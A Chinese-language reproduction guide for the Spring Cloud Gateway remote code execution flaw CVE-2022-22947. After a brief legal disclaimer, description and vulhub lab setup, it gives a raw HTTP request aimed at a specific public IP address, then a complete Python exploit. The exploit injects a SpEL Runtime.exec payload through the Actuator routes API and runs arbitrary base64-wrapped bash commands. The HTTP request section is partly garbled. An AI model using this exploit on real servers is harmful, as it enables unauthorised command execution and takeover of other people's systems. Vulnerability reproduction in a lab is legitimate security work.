Spring Cloud Gateway远程代码执行漏洞复现(CVE-2022-22947)

遵纪守法

任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益

漏洞描述：

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问ActuatorAPI的情况下，将可以利用该漏洞执行任意命令。

漏洞影响：

3.1.0、 3.0.0至3.0.6、 3.0.0之前的版本

案例

app="vmware-SpringBoot-framework"

环境搭建

# 下载包
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压包
unzip vulhub-master.zip
# 进入vulhub目录，开启漏洞环境
vulhub/spring/CVE-2022-22947
docker-compose  up -d
#漏洞环境拉取成功后访问
http://ip:8080/

1

POST /actuator/gateway/routes/WeianSec HTTP/1.1
Host: 162.14.69.165:8080
Accept-Encoding: gzip, deflate
Accept: **
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 456

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

#!python3
import requests, json, sys, base64

#proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}


def rce(url, cmd):
    h1 = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
      'Content-Type': 'application/json'
    }
    data = {
    "id": "ee",
    "filters": [{
        "name": "AddResponseHeader",
        "args": {
            "name": "Result",
            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("" + cmd +"").getInputStream()))}"
        }
    }],
    "uri": "http://aaaa.aa",
    "order": 0
}

    res1 = requests.post('{}/actuator/gateway/routes/ee'.format(url), data = json.dumps(data, ensure_ascii = False), headers = h1, verify = False)#, proxies = proxies)
    res2 = requests.post('{}/actuator/gateway/refresh'.format(url), headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',}, verify = False)
    res3 = requests.get('{}/actuator/gateway/routes/ee'.format(url), headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',}, verify = False)
    print(res3.text)


if __name__ == "__main__":
  
  url = sys.argv[-2]
  if url[-1] == '/':
    url = url[:-1]
  cmd = sys.argv[-1]
  cmd = 'bash -c {echo,' + base64.b64encode(cmd.encode()).decode() + '}|{base64,-d}|{bash,-i}'
  if not (url.startswith('http://') or url.startswith('https://')):
    print('使用： python cve-2022-22947.py  url  cmd')
    sys.exit(1)
  rce(url, cmd)